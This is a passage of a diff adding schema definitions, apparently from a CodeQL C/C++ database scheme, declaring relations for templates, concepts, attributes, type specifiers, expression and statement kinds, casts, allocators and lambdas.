+is_proxy_class_for( + unique int id: @usertype ref, + int templ_param_id: @user_or_decltype ref +); + +type_mentions( + unique int id: @type_mention, + int type_id: @type ref, + int location: @location ref, + // a_symbol_reference_kind from the frontend. + int kind: int ref +); + +is_function_template(unique int id: @function ref); +function_instantiation( + unique int to: @function ref, + int from: @function ref +); +function_template_argument( + int function_id: @function ref, + int index: int ref, + int arg_type: @type ref +); +function_template_argument_value( + int function_id: @function ref, + int index: int ref, + int arg_value: @expr ref +); + +is_variable_template(unique int id: @variable ref); +variable_instantiation( + unique int to: @variable ref, + int from: @variable ref +); +variable_template_argument( + int variable_id: @variable ref, + int index: int ref, + int arg_type: @type ref +); +variable_template_argument_value( + int variable_id: @variable ref, + int index: int ref, + int arg_value: @expr ref +); + +template_template_instantiation( + int to: @usertype ref, + int from: @usertype ref +); +template_template_argument( + int type_id: @usertype ref, + int index: int ref, + int arg_type: @type ref +); +template_template_argument_value( + int type_id: @usertype ref, + int index: int ref, + int arg_value: @expr ref +); + +@concept = @concept_template | @concept_id; + +concept_templates( + unique int concept_id: @concept_template, + string name: string ref, + int location: @location_default ref +); +concept_instantiation( + unique int to: @concept_id ref, + int from: @concept_template ref +); +is_type_constraint(int concept_id: @concept_id ref); +concept_template_argument( + int concept_id: @concept ref, + int index: int ref, + int arg_type: @type ref +); +concept_template_argument_value( + int concept_id: @concept ref, + int index: int ref, + int arg_value: @expr ref +); + +routinetypes( + unique int id: @routinetype, + int return_type: @type ref +); + +routinetypeargs( + int routine: @routinetype ref, + int index: int ref, + int type_id: @type ref +); + +ptrtomembers( + unique int id: @ptrtomember, + int type_id: @type ref, + int class_id: @type ref +); + +/* + specifiers for types, functions, and variables + + "public", + "protected", + "private", + + "const", + "volatile", + "static", + + "pure", + "virtual", + "sealed", // Microsoft + "__interface", // Microsoft + "inline", + "explicit", + + "near", // near far extension + "far", // near far extension + "__ptr32", // Microsoft + "__ptr64", // Microsoft + "__sptr", // Microsoft + "__uptr", // Microsoft + "dllimport", // Microsoft + "dllexport", // Microsoft + "thread", // Microsoft + "naked", // Microsoft + "microsoft_inline", // Microsoft + "forceinline", // Microsoft + "selectany", // Microsoft + "nothrow", // Microsoft + "novtable", // Microsoft + "noreturn", // Microsoft + "noinline", // Microsoft + "noalias", // Microsoft + "restrict", // Microsoft +*/ + +specifiers( + unique int id: @specifier, + unique string str: string ref +); + +typespecifiers( + int type_id: @type ref, + int spec_id: @specifier ref +); + +funspecifiers( + int func_id: @function ref, + int spec_id: @specifier ref +); + +varspecifiers( + int var_id: @accessible ref, + int spec_id: @specifier ref +); + +explicit_specifier_exprs( + unique int func_id: @function ref, + int constant: @expr ref +) + +attributes( + unique int id: @attribute, + int kind: int ref, + string name: string ref, + string name_space: string ref, + int location: @location_default ref +); + +case @attribute.kind of + 0 = @gnuattribute +| 1 = @stdattribute +| 2 = @declspec +| 3 = @msattribute +| 4 = @alignas +// ... 5 @objc_propertyattribute deprecated +; + +attribute_args( + unique int id: @attribute_arg, + int kind: int ref, + int attribute: @attribute ref, + int index: int ref, + int location: @location_default ref +); + +case @attribute_arg.kind of + 0 = @attribute_arg_empty +| 1 = @attribute_arg_token +| 2 = @attribute_arg_constant +| 3 = @attribute_arg_type +| 4 = @attribute_arg_constant_expr +| 5 = @attribute_arg_expr +; + +attribute_arg_value( + unique int arg: @attribute_arg ref, + string value: string ref +); +attribute_arg_type( + unique int arg: @attribute_arg ref, + int type_id: @type ref +); +attribute_arg_constant( + unique int arg: @attribute_arg ref, + int constant: @expr ref +) +attribute_arg_expr( + unique int arg: @attribute_arg ref, + int expr: @expr ref +) +attribute_arg_name( + unique int arg: @attribute_arg ref, + string name: string ref +); + +typeattributes( + int type_id: @type ref, + int spec_id: @attribute ref +); + +funcattributes( + int func_id: @function ref, + int spec_id: @attribute ref +); + +varattributes( + int var_id: @accessible ref, + int spec_id: @attribute ref +); + +stmtattributes( + int stmt_id: @stmt ref, + int spec_id: @attribute ref +); + +@type = @builtintype + | @derivedtype + | @usertype + | @routinetype + | @ptrtomember + | @decltype + | @type_operator; + +unspecifiedtype( + unique int type_id: @type ref, + int unspecified_type_id: @type ref +); + +member( + int parent: @type ref, + int index: int ref, + int child: @member ref +); + +@enclosingfunction_child = @usertype | @variable | @namespace + +enclosingfunction( + unique int child: @enclosingfunction_child ref, + int parent: @function ref +); + +derivations( + unique int derivation: @derivation, + int sub: @type ref, + int index: int ref, + int super: @type ref, + int location: @location_default ref +); + +derspecifiers( + int der_id: @derivation ref, + int spec_id: @specifier ref +); + +/** + * Contains the byte offset of the base class subobject within the derived + * class. Only holds for non-virtual base classes, but see table + * `virtual_base_offsets` for offsets of virtual base class subobjects. + */ +direct_base_offsets( + unique int der_id: @derivation ref, + int offset: int ref +); + +/** + * Contains the byte offset of the virtual base class subobject for class + * `super` within a most-derived object of class `sub`. `super` can be either a + * direct or indirect base class. + */ +#keyset[sub, super] +virtual_base_offsets( + int sub: @usertype ref, + int super: @usertype ref, + int offset: int ref +); + +frienddecls( + unique int id: @frienddecl, + int type_id: @type ref, + int decl_id: @declaration ref, + int location: @location_default ref +); + +@declaredtype = @usertype ; + +@declaration = @function + | @declaredtype + | @variable + | @enumconstant + | @frienddecl + | @concept_template; + +@member = @membervariable + | @function + | @declaredtype + | @enumconstant; + +@locatable = @diagnostic + | @declaration + | @ppd_include + | @ppd_define + | @macroinvocation + /*| @funcall*/ + | @xmllocatable + | @attribute + | @attribute_arg; + +@namedscope = @namespace | @usertype; + +@element = @locatable + | @file + | @folder + | @specifier + | @type + | @expr + | @namespace + | @initialiser + | @stmt + | @derivation + | @comment + | @preprocdirect + | @fun_decl + | @var_decl + | @type_decl + | @namespace_decl + | @using + | @namequalifier + | @specialnamequalifyingelement + | @static_assert + | @type_mention + | @lambdacapture; + +@exprparent = @element; + +comments( + unique int id: @comment, + string contents: string ref, + int location: @location_default ref +); + +commentbinding( + int id: @comment ref, + int element: @element ref +); + +exprconv( + int converted: @expr ref, + unique int conversion: @expr ref +); + +compgenerated(unique int id: @element ref); + +/** + * `destructor_call` destructs the `i`'th entity that should be + * destructed following `element`. Note that entities should be + * destructed in reverse construction order, so for a given `element` + * these should be called from highest to lowest `i`. + */ +#keyset[element, destructor_call] +#keyset[element, i] +synthetic_destructor_call( + int element: @element ref, + int i: int ref, + int destructor_call: @routineexpr ref +); + +namespaces( + unique int id: @namespace, + string name: string ref +); + +namespace_inline( + unique int id: @namespace ref +); + +namespacembrs( + int parentid: @namespace ref, + unique int memberid: @namespacembr ref +); + +@namespacembr = @declaration | @namespace; + +exprparents( + int expr_id: @expr ref, + int child_index: int ref, + int parent_id: @exprparent ref +); + +expr_isload(unique int expr_id: @expr ref); + +@cast = @c_style_cast + | @const_cast + | @dynamic_cast + | @reinterpret_cast + | @static_cast + ; + +/* +case @conversion.kind of + 0 = @simple_conversion // a numeric conversion, qualification conversion, or a reinterpret_cast +| 1 = @bool_conversion // conversion to 'bool' +| 2 = @base_class_conversion // a derived-to-base conversion +| 3 = @derived_class_conversion // a base-to-derived conversion +| 4 = @pm_base_class_conversion // a derived-to-base conversion of a pointer to member +| 5 = @pm_derived_class_conversion // a base-to-derived conversion of a pointer to member +| 6 = @glvalue_adjust // an adjustment of the type of a glvalue +| 7 = @prvalue_adjust // an adjustment of the type of a prvalue +; +*/ +/** + * Describes the semantics represented by a cast expression. This is largely + * independent of the source syntax of the cast, so it is separate from the + * regular expression kind. + */ +conversionkinds( + unique int expr_id: @cast ref, + int kind: int ref +); + +@conversion = @cast + | @array_to_pointer + | @parexpr + | @reference_to + | @ref_indirect + | @temp_init + | @c11_generic + ; + +/* +case @funbindexpr.kind of + 0 = @normal_call // a normal call +| 1 = @virtual_call // a virtual call +| 2 = @adl_call // a call whose target is only found by ADL +; +*/ +iscall( + unique int caller: @funbindexpr ref, + int kind: int ref +); + +numtemplatearguments( + unique int expr_id: @expr ref, + int num: int ref +); + +specialnamequalifyingelements( + unique int id: @specialnamequalifyingelement, + unique string name: string ref +); + +@namequalifiableelement = @expr | @namequalifier; +@namequalifyingelement = @namespace + | @specialnamequalifyingelement + | @usertype; + +namequalifiers( + unique int id: @namequalifier, + unique int qualifiableelement: @namequalifiableelement ref, + int qualifyingelement: @namequalifyingelement ref, + int location: @location_default ref +); + +varbind( + int expr: @varbindexpr ref, + int var: @accessible ref +); + +funbind( + int expr: @funbindexpr ref, + int fun: @function ref +); + +@any_new_expr = @new_expr + | @new_array_expr; + +@new_or_delete_expr = @any_new_expr + | @delete_expr + | @delete_array_expr; + +@prefix_crement_expr = @preincrexpr | @predecrexpr; + +@postfix_crement_expr = @postincrexpr | @postdecrexpr; + +@increment_expr = @preincrexpr | @postincrexpr; + +@decrement_expr = @predecrexpr | @postdecrexpr; + +@crement_expr = @increment_expr | @decrement_expr; + +@un_arith_op_expr = @arithnegexpr + | @unaryplusexpr + | @conjugation + | @realpartexpr + | @imagpartexpr + | @crement_expr + ; + +@un_bitwise_op_expr = @complementexpr; + +@un_log_op_expr = @notexpr; + +@un_op_expr = @address_of + | @indirect + | @un_arith_op_expr + | @un_bitwise_op_expr + | @builtinaddressof + | @vec_fill + | @un_log_op_expr + | @co_await + | @co_yield + ; + +@bin_log_op_expr = @andlogicalexpr | @orlogicalexpr; + +@cmp_op_expr = @eq_op_expr | @rel_op_expr; + +@eq_op_expr = @eqexpr | @neexpr; + +@rel_op_expr = @gtexpr + | @ltexpr + | @geexpr + | @leexpr + | @spaceshipexpr + ; + +@bin_bitwise_op_expr = @lshiftexpr + | @rshiftexpr + | @andexpr + | @orexpr + | @xorexpr + ; + +@p_arith_op_expr = @paddexpr + | @psubexpr + | @pdiffexpr + ; + +@bin_arith_op_expr = @addexpr + | @subexpr + | @mulexpr + | @divexpr + | @remexpr + | @jmulexpr + | @jdivexpr + | @fjaddexpr + | @jfaddexpr + | @fjsubexpr + | @jfsubexpr + | @minexpr + | @maxexpr + | @p_arith_op_expr + ; + +@bin_op_expr = @bin_arith_op_expr + | @bin_bitwise_op_expr + | @cmp_op_expr + | @bin_log_op_expr + ; + +@op_expr = @un_op_expr + | @bin_op_expr + | @assign_expr + | @conditionalexpr + ; + +@assign_arith_expr = @assignaddexpr + | @assignsubexpr + | @assignmulexpr + | @assigndivexpr + | @assignremexpr + ; + +@assign_bitwise_expr = @assignandexpr + | @assignorexpr + | @assignxorexpr + | @assignlshiftexpr + | @assignrshiftexpr + ; + +@assign_pointer_expr = @assignpaddexpr + | @assignpsubexpr + ; + +@assign_op_expr = @assign_arith_expr + | @assign_bitwise_expr + | @assign_pointer_expr + ; + +@assign_expr = @assignexpr | @assign_op_expr | @blockassignexpr + +/* + Binary encoding of the allocator form. + + case @allocator.form of + 0 = plain + | 1 = alignment + ; +*/ + +/** + * The allocator function associated with a `new` or `new[]` expression. + * The `form` column specified whether the allocation call contains an alignment + * argument. + */ +expr_allocator( + unique int expr: @any_new_expr ref, + int func: @function ref, + int form: int ref +); + +/* + Binary encoding of the deallocator form. + + case @deallocator.form of + 0 = plain + | 1 = size + | 2 = alignment + | 4 = destroying_delete + ; +*/ + +/** + * The deallocator function associated with a `delete`, `delete[]`, `new`, or + * `new[]` expression. For a `new` or `new[]` expression, the deallocator is the + * one used to free memory if the initialization throws an exception. + * The `form` column specifies whether the deallocation call contains a size + * argument, and alignment argument, or both. + */ +expr_deallocator( + unique int expr: @new_or_delete_expr ref, + int func: @function ref, + int form: int ref +); + +/** + * Holds if the `@conditionalexpr` is of the two operand form + * `guard ? : false`. + */ +expr_cond_two_operand( + unique int cond: @conditionalexpr ref +); + +/** + * The guard of `@conditionalexpr` `guard ? true : false` + */ +expr_cond_guard( + unique int cond: @conditionalexpr ref, + int guard: @expr ref +); + +/** + * The expression used when the guard of `@conditionalexpr` + * `guard ? true : false` holds. For the two operand form + * `guard ?: false` consider using `expr_cond_guard` instead. + */ +expr_cond_true( + unique int cond: @conditionalexpr ref, + int true: @expr ref +); + +/** + * The expression used when the guard of `@conditionalexpr` + * `guard ? true : false` does not hold. + */ +expr_cond_false( + unique int cond: @conditionalexpr ref, + int false: @expr ref +); + +/** A string representation of the value. */ +values( + unique int id: @value, + string str: string ref +); + +/** The actual text in the source code for the value, if any. */ +valuetext( + unique int id: @value ref, + string text: string ref +); + +valuebind( + int val: @value ref, + unique int expr: @expr ref +); + +fieldoffsets( + unique int id: @variable ref, + int byteoffset: int ref, + int bitoffset: int ref +); + +bitfield( + unique int id: @variable ref, + int bits: int ref, + int declared_bits: int ref +); + +/* TODO +memberprefix( + int member: @expr ref, + int prefix: @expr ref +); +*/ + +/* + kind(1) = mbrcallexpr + kind(2) = mbrptrcallexpr + kind(3) = mbrptrmbrcallexpr + kind(4) = ptrmbrptrmbrcallexpr + kind(5) = mbrreadexpr // x.y + kind(6) = mbrptrreadexpr // p->y + kind(7) = mbrptrmbrreadexpr // x.*pm + kind(8) = mbrptrmbrptrreadexpr // x->*pm + kind(9) = staticmbrreadexpr // static x.y + kind(10) = staticmbrptrreadexpr // static p->y +*/ +/* TODO +memberaccess( + int member: @expr ref, + int kind: int ref +); +*/ + +initialisers( + unique int init: @initialiser, + int var: @accessible ref, + unique int expr: @expr ref, + int location: @location_expr ref +); + +braced_initialisers( + int init: @initialiser ref +); + +/** + * An ancestor for the expression, for cases in which we cannot + * otherwise find the expression's parent. + */ +expr_ancestor( + int exp: @expr ref, + int ancestor: @element ref +); + +exprs( + unique int id: @expr, + int kind: int ref, + int location: @location_expr ref +); + +expr_reuse( + int reuse: @expr ref, + int original: @expr ref, + int value_category: int ref +) + +/* + case @value.category of + 1 = prval + | 2 = xval + | 3 = lval + ; +*/ +expr_types( + int id: @expr ref, + int typeid: @type ref, + int value_category: int ref +); + +case @expr.kind of + 1 = @errorexpr +| 2 = @address_of // & AddressOfExpr +| 3 = @reference_to // ReferenceToExpr (implicit?) +| 4 = @indirect // * PointerDereferenceExpr +| 5 = @ref_indirect // ReferenceDereferenceExpr (implicit?) +// ... +| 8 = @array_to_pointer // (???) +| 9 = @vacuous_destructor_call // VacuousDestructorCall +// ... +| 11 = @assume // Microsoft +| 12 = @parexpr +| 13 = @arithnegexpr +| 14 = @unaryplusexpr +| 15 = @complementexpr +| 16 = @notexpr +| 17 = @conjugation // GNU ~ operator +| 18 = @realpartexpr // GNU __real +| 19 = @imagpartexpr // GNU __imag +| 20 = @postincrexpr +| 21 = @postdecrexpr +| 22 = @preincrexpr +| 23 = @predecrexpr +| 24 = @conditionalexpr +| 25 = @addexpr +| 26 = @subexpr +| 27 = @mulexpr +| 28 = @divexpr +| 29 = @remexpr +| 30 = @jmulexpr // C99 mul imaginary +| 31 = @jdivexpr // C99 div imaginary +| 32 = @fjaddexpr // C99 add real + imaginary +| 33 = @jfaddexpr // C99 add imaginary + real +| 34 = @fjsubexpr // C99 sub real - imaginary +| 35 = @jfsubexpr // C99 sub imaginary - real +| 36 = @paddexpr // pointer add (pointer + int or int + pointer) +| 37 = @psubexpr // pointer sub (pointer - integer) +| 38 = @pdiffexpr // difference between two pointers +| 39 = @lshiftexpr +| 40 = @rshiftexpr +| 41 = @andexpr +| 42 = @orexpr +| 43 = @xorexpr +| 44 = @eqexpr +| 45 = @neexpr +| 46 = @gtexpr +| 47 = @ltexpr +| 48 = @geexpr +| 49 = @leexpr +| 50 = @minexpr // GNU minimum +| 51 = @maxexpr // GNU maximum +| 52 = @assignexpr +| 53 = @assignaddexpr +| 54 = @assignsubexpr +| 55 = @assignmulexpr +| 56 = @assigndivexpr +| 57 = @assignremexpr +| 58 = @assignlshiftexpr +| 59 = @assignrshiftexpr +| 60 = @assignandexpr +| 61 = @assignorexpr +| 62 = @assignxorexpr +| 63 = @assignpaddexpr // assign pointer add +| 64 = @assignpsubexpr // assign pointer sub +| 65 = @andlogicalexpr +| 66 = @orlogicalexpr +| 67 = @commaexpr +| 68 = @subscriptexpr // access to member of an array, e.g., a[5] +// ... 69 @objc_subscriptexpr deprecated +// ... 70 @cmdaccess deprecated +// ... +| 73 = @virtfunptrexpr +| 74 = @callexpr +// ... 75 @msgexpr_normal deprecated +// ... 76 @msgexpr_super deprecated +// ... 77 @atselectorexpr deprecated +// ... 78 @atprotocolexpr deprecated +| 79 = @vastartexpr +| 80 = @vaargexpr +| 81 = @vaendexpr +| 82 = @vacopyexpr +// ... 83 @atencodeexpr deprecated +| 84 = @varaccess +| 85 = @thisaccess +// ... 86 @objc_box_expr deprecated +| 87 = @new_expr +| 88 = @delete_expr +| 89 = @throw_expr +| 90 = @condition_decl // a variable declared in a condition, e.g., if(int x = y > 2) +| 91 = @braced_init_list +| 92 = @type_id +| 93 = @runtime_sizeof +| 94 = @runtime_alignof +| 95 = @sizeof_pack +| 96 = @expr_stmt // GNU extension +| 97 = @routineexpr +| 98 = @type_operand // used to access a type in certain contexts (haven't found any examples yet....) +| 99 = @offsetofexpr // offsetof ::= type and field +| 100 = @hasassignexpr // __has_assign ::= type +| 101 = @hascopyexpr // __has_copy ::= type +| 102 = @hasnothrowassign // __has_nothrow_assign ::= type +| 103 = @hasnothrowconstr // __has_nothrow_constructor ::= type +| 104 = @hasnothrowcopy // __has_nothrow_copy ::= type +| 105 = @hastrivialassign // __has_trivial_assign ::= type +| 106 = @hastrivialconstr // __has_trivial_constructor ::= type +| 107 = @hastrivialcopy // __has_trivial_copy ::= type +| 108 = @hasuserdestr // __has_user_destructor ::= type +| 109 = @hasvirtualdestr // __has_virtual_destructor ::= type +| 110 = @isabstractexpr // __is_abstract ::= type +| 111 = @isbaseofexpr // __is_base_of ::= type type +| 112 = @isclassexpr // __is_class ::= type +| 113 = @isconvtoexpr // __is_convertible_to ::= type type +| 114 = @isemptyexpr // __is_empty ::= type +| 115 = @isenumexpr // __is_enum ::= type +| 116 = @ispodexpr // __is_pod ::= type +| 117 = @ispolyexpr // __is_polymorphic ::= type +| 118 = @isunionexpr // __is_union ::= type +| 119 = @typescompexpr // GNU __builtin_types_compatible ::= type type +| 120 = @intaddrexpr // frontend internal builtin, used to implement offsetof +// ... +| 122 = @hastrivialdestructor // __has_trivial_destructor ::= type +| 123 = @literal +| 124 = @uuidof +| 127 = @aggregateliteral +| 128 = @delete_array_expr +| 129 = @new_array_expr +// ... 130 @objc_array_literal deprecated +// ... 131 @objc_dictionary_literal deprecated +| 132 = @foldexpr +// ... +| 200 = @ctordirectinit +| 201 = @ctorvirtualinit +| 202 = @ctorfieldinit +| 203 = @ctordelegatinginit +| 204 = @dtordirectdestruct +| 205 = @dtorvirtualdestruct +| 206 = @dtorfielddestruct +// ... +| 210 = @static_cast +| 211 = @reinterpret_cast +| 212 = @const_cast +| 213 = @dynamic_cast +| 214 = @c_style_cast +| 215 = @lambdaexpr +| 216 = @param_ref +| 217 = @noopexpr +// ... +| 294 = @istriviallyconstructibleexpr +| 295 = @isdestructibleexpr +| 296 = @isnothrowdestructibleexpr +| 297 = @istriviallydestructibleexpr +| 298 = @istriviallyassignableexpr +| 299 = @isnothrowassignableexpr +| 300 = @istrivialexpr +| 301 = @isstandardlayoutexpr +| 302 = @istriviallycopyableexpr +| 303 = @isliteraltypeexpr +| 304 = @hastrivialmoveconstructorexpr +| 305 = @hastrivialmoveassignexpr +| 306 = @hasnothrowmoveassignexpr +| 307 = @isconstructibleexpr +| 308 = @isnothrowconstructibleexpr +| 309 = @hasfinalizerexpr +| 310 = @isdelegateexpr +| 311 = @isinterfaceclassexpr +| 312 = @isrefarrayexpr +| 313 = @isrefclassexpr +| 314 = @issealedexpr +| 315 = @issimplevalueclassexpr +| 316 = @isvalueclassexpr +| 317 = @isfinalexpr +| 319 = @noexceptexpr +| 320 = @builtinshufflevector +| 321 = @builtinchooseexpr +| 322 = @builtinaddressof +| 323 = @vec_fill +| 324 = @builtinconvertvector +| 325 = @builtincomplex +| 326 = @spaceshipexpr +| 327 = @co_await +| 328 = @co_yield +| 329 = @temp_init +| 330 = @isassignable +| 331 = @isaggregate +| 332 = @hasuniqueobjectrepresentations +| 333 = @builtinbitcast +| 334 = @builtinshuffle +| 335 = @blockassignexpr +| 336 = @issame +| 337 = @isfunction +| 338 = @islayoutcompatible +| 339 = @ispointerinterconvertiblebaseof +| 340 = @isarray +| 341 = @arrayrank +| 342 = @arrayextent +| 343 = @isarithmetic +| 344 = @iscompletetype +| 345 = @iscompound +| 346 = @isconst +| 347 = @isfloatingpoint +| 348 = @isfundamental +| 349 = @isintegral +| 350 = @islvaluereference +| 351 = @ismemberfunctionpointer +| 352 = @ismemberobjectpointer +| 353 = @ismemberpointer +| 354 = @isobject +| 355 = @ispointer +| 356 = @isreference +| 357 = @isrvaluereference +| 358 = @isscalar +| 359 = @issigned +| 360 = @isunsigned +| 361 = @isvoid +| 362 = @isvolatile +| 363 = @reuseexpr +| 364 = @istriviallycopyassignable +| 365 = @isassignablenopreconditioncheck +| 366 = @referencebindstotemporary +| 367 = @issameas +| 368 = @builtinhasattribute +| 369 = @ispointerinterconvertiblewithclass +| 370 = @builtinispointerinterconvertiblewithclass +| 371 = @iscorrespondingmember +| 372 = @builtiniscorrespondingmember +| 373 = @isboundedarray +| 374 = @isunboundedarray +| 375 = @isreferenceable +| 378 = @isnothrowconvertible +| 379 = @referenceconstructsfromtemporary +| 380 = @referenceconvertsfromtemporary +| 381 = @isconvertible +| 382 = @isvalidwinrttype +| 383 = @iswinclass +| 384 = @iswininterface +| 385 = @istriviallyequalitycomparable +| 386 = @isscopedenum +| 387 = @istriviallyrelocatable +| 388 = @datasizeof +| 389 = @c11_generic +| 390 = @requires_expr +| 391 = @nested_requirement +| 392 = @compound_requirement +| 393 = @concept_id +; + +@var_args_expr = @vastartexpr + | @vaendexpr + | @vaargexpr + | @vacopyexpr + ; + +@builtin_op = @var_args_expr + | @noopexpr + | @offsetofexpr + | @intaddrexpr + | @hasassignexpr + | @hascopyexpr + | @hasnothrowassign + | @hasnothrowconstr + | @hasnothrowcopy + | @hastrivialassign + | @hastrivialconstr + | @hastrivialcopy + | @hastrivialdestructor + | @hasuserdestr + | @hasvirtualdestr + | @isabstractexpr + | @isbaseofexpr + | @isclassexpr + | @isconvtoexpr + | @isemptyexpr + | @isenumexpr + | @ispodexpr + | @ispolyexpr + | @isunionexpr + | @typescompexpr + | @builtinshufflevector + | @builtinconvertvector + | @builtinaddressof + | @istriviallyconstructibleexpr + | @isdestructibleexpr + | @isnothrowdestructibleexpr + | @istriviallydestructibleexpr + | @istriviallyassignableexpr + | @isnothrowassignableexpr + | @istrivialexpr + | @isstandardlayoutexpr + | @istriviallycopyableexpr + | @isliteraltypeexpr + | @hastrivialmoveconstructorexpr + | @hastrivialmoveassignexpr + | @hasnothrowmoveassignexpr + | @isconstructibleexpr + | @isnothrowconstructibleexpr + | @hasfinalizerexpr + | @isdelegateexpr + | @isinterfaceclassexpr + | @isrefarrayexpr + | @isrefclassexpr + | @issealedexpr + | @issimplevalueclassexpr + | @isvalueclassexpr + | @isfinalexpr + | @builtinchooseexpr + | @builtincomplex + | @isassignable + | @isaggregate + | @hasuniqueobjectrepresentations + | @builtinbitcast + | @builtinshuffle + | @issame + | @isfunction + | @islayoutcompatible + | @ispointerinterconvertiblebaseof + | @isarray + | @arrayrank + | @arrayextent + | @isarithmetic + | @iscompletetype + | @iscompound + | @isconst + | @isfloatingpoint + | @isfundamental + | @isintegral + | @islvaluereference + | @ismemberfunctionpointer + | @ismemberobjectpointer + | @ismemberpointer + | @isobject + | @ispointer + | @isreference + | @isrvaluereference + | @isscalar + | @issigned + | @isunsigned + | @isvoid + | @isvolatile + | @istriviallycopyassignable + | @isassignablenopreconditioncheck + | @referencebindstotemporary + | @issameas + | @builtinhasattribute + | @ispointerinterconvertiblewithclass + | @builtinispointerinterconvertiblewithclass + | @iscorrespondingmember + | @builtiniscorrespondingmember + | @isboundedarray + | @isunboundedarray + | @isreferenceable + | @isnothrowconvertible + | @referenceconstructsfromtemporary + | @referenceconvertsfromtemporary + | @isconvertible + | @isvalidwinrttype + | @iswinclass + | @iswininterface + | @istriviallyequalitycomparable + | @isscopedenum + | @istriviallyrelocatable + ; + +compound_requirement_is_noexcept( + int expr: @compound_requirement ref +); + +new_allocated_type( + unique int expr: @new_expr ref, + int type_id: @type ref +); + +new_array_allocated_type( + unique int expr: @new_array_expr ref, + int type_id: @type ref +); + +/** + * The field being initialized by an initializer expression within an aggregate + * initializer for a class/struct/union. Position is used to sort repeated initializers. + */ +#keyset[aggregate, position] +aggregate_field_init( + int aggregate: @aggregateliteral ref, + int initializer: @expr ref, + int field: @membervariable ref, + int position: int ref, + boolean is_designated: boolean ref +); + +/** + * The index of the element being initialized by an initializer expression + * within an aggregate initializer for an array. Position is used to sort repeated initializers. + */ +#keyset[aggregate, position] +aggregate_array_init( + int aggregate: @aggregateliteral ref, + int initializer: @expr ref, + int element_index: int ref, + int position: int ref, + boolean is_designated: boolean ref +); + +@ctorinit = @ctordirectinit + | @ctorvirtualinit + | @ctorfieldinit + | @ctordelegatinginit; +@dtordestruct = @dtordirectdestruct + | @dtorvirtualdestruct + | @dtorfielddestruct; + + +condition_decl_bind( + unique int expr: @condition_decl ref, + unique int decl: @declaration ref +); + +typeid_bind( + unique int expr: @type_id ref, + int type_id: @type ref +); + +uuidof_bind( + unique int expr: @uuidof ref, + int type_id: @type ref +); + +@sizeof_or_alignof = @runtime_sizeof | @runtime_alignof | @datasizeof | @sizeof_pack; + +sizeof_bind( + unique int expr: @sizeof_or_alignof ref, + int type_id: @type ref +); + +code_block( + unique int block: @literal ref, + unique int routine: @function ref +); + +lambdas( + unique int expr: @lambdaexpr ref, + string default_capture: string ref, + boolean has_explicit_return_type: boolean ref +); + +lambda_capture( + unique int id: @lambdacapture, + int lambda: @lambdaexpr ref, + int index: int ref, + int field: @membervariable ref, + boolean captured_by_reference: boolean ref, + boolean is_implicit: boolean ref, + int location: @location_default ref +); + +@funbindexpr = @routineexpr + | @new_expr + | @delete_expr + | @delete_array_expr + | @ctordirectinit + | @ctorvirtualinit + | @ctordelegatinginit + | @dtordirectdestruct + | @dtorvirtualdestruct; + +@varbindexpr = @varaccess | @ctorfieldinit | @dtorfielddestruct; +@addressable = @function | @variable ; +@accessible = @addressable | @enumconstant ; + +@access = @varaccess | @routineexpr ; + +fold( + int expr: @foldexpr ref, + string operator: string ref, + boolean is_left_fold: boolean ref +); + +stmts( + unique int id: @stmt, + int kind: int ref, + int location: @location_stmt ref +); + +case @stmt.kind of + 1 = @stmt_expr +| 2 = @stmt_if +| 3 = @stmt_while +| 4 = @stmt_goto +| 5 = @stmt_label +| 6 = @stmt_return +| 7 = @stmt_block +| 8 = @stmt_end_test_while // do { ... } while ( ... ) +| 9 = @stmt_for +| 10 = @stmt_switch_case +| 11 = @stmt_switch +| 13 = @stmt_asm // "asm" statement or the body of an asm function +| 15 = @stmt_try_block +| 16 = @stmt_microsoft_try // Microsoft +| 17 = @stmt_decl +| 18 = @stmt_set_vla_size // C99 +| 19 = @stmt_vla_decl // C99 +| 25 = @stmt_assigned_goto // GNU +| 26 = @stmt_empty +| 27 = @stmt_continue +| 28 = @stmt_break +| 29 = @stmt_range_based_for // C++11 +// ... 30 @stmt_at_autoreleasepool_block deprecated +// ... 31 @stmt_objc_for_in deprecated +// ... 32 @stmt_at_synchronized deprecated +| 33 = @stmt_handler +// ... 34 @stmt_finally_end deprecated +| 35 = @stmt_constexpr_if +| 37 = @stmt_co_return +| 38 = @stmt_consteval_if +| 39 = @stmt_not_consteval_if +; + +type_vla( + int type_id: @type ref, + int decl: @stmt_vla_decl ref +); + +variable_vla( + int var: @variable ref, + int decl: @stmt_vla_decl ref +); + +type_is_vla(unique int type_id: @derivedtype ref) + +if_initialization( + unique int if_stmt: @stmt_if ref, + int init_id: @stmt ref +); + +if_then( + unique int if_stmt: @stmt_if ref, + int then_id: @stmt ref +); + +if_else( + unique int if_stmt: @stmt_if ref, + int else_id: @stmt ref +); + +constexpr_if_initialization( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int init_id: @stmt ref +); + +constexpr_if_then( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int then_id: @stmt ref +); + +constexpr_if_else( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int else_id: @stmt ref +); + +@stmt_consteval_or_not_consteval_if = @stmt_consteval_if | @stmt_not_consteval_if; + +consteval_if_then( + unique int constexpr_if_stmt: @stmt_consteval_or_not_consteval_if ref, + int then_id: @stmt ref +); + +consteval_if_else( + unique int constexpr_if_stmt: @stmt_consteval_or_not_consteval_if ref, + int else_id: @stmt ref +); + +while_body( + unique int while_stmt: @stmt_while ref, + int body_id: @stmt ref +); + +do_body( + unique int do_stmt: @stmt_end_test_while ref, + int body_id: @stmt ref +); + +switch_initialization( + unique int switch_stmt: @stmt_switch ref, + int init_id: @stmt ref +); + +#keyset[switch_stmt, index] +switch_case( + int switch_stmt: @stmt_switch ref, + int index: int ref, + int case_id: @stmt_switch_case ref +); + +switch_body( + unique int switch_stmt: @stmt_switch ref, + int body_id: @stmt ref +); + +@stmt_for_or_range_based_for = @stmt_for + | @stmt_range_based_for; + +for_initialization( + unique int for_stmt: @stmt_for_or_range_based_for ref, + int init_id: @stmt ref +); + +for_condition( + unique int for_stmt: @stmt_for ref, + int condition_id: @expr ref +); + +for_update( + unique int for_stmt: @stmt_for ref, + int update_id: @expr ref +); + +for_body( + unique int for_stmt: @stmt_for ref, + int body_id: @stmt ref +); + +@stmtparent = @stmt | @expr_stmt ; +stmtparents( + unique int id: @stmt ref, + int index: int ref, + int parent: @stmtparent ref +); + +ishandler(unique int block: @stmt_block ref); + +@cfgnode = @stmt | @expr | @function | @initialiser ; + +stmt_decl_bind( + int stmt: @stmt_decl ref, + int num: int ref, + int decl: @declaration ref +); + 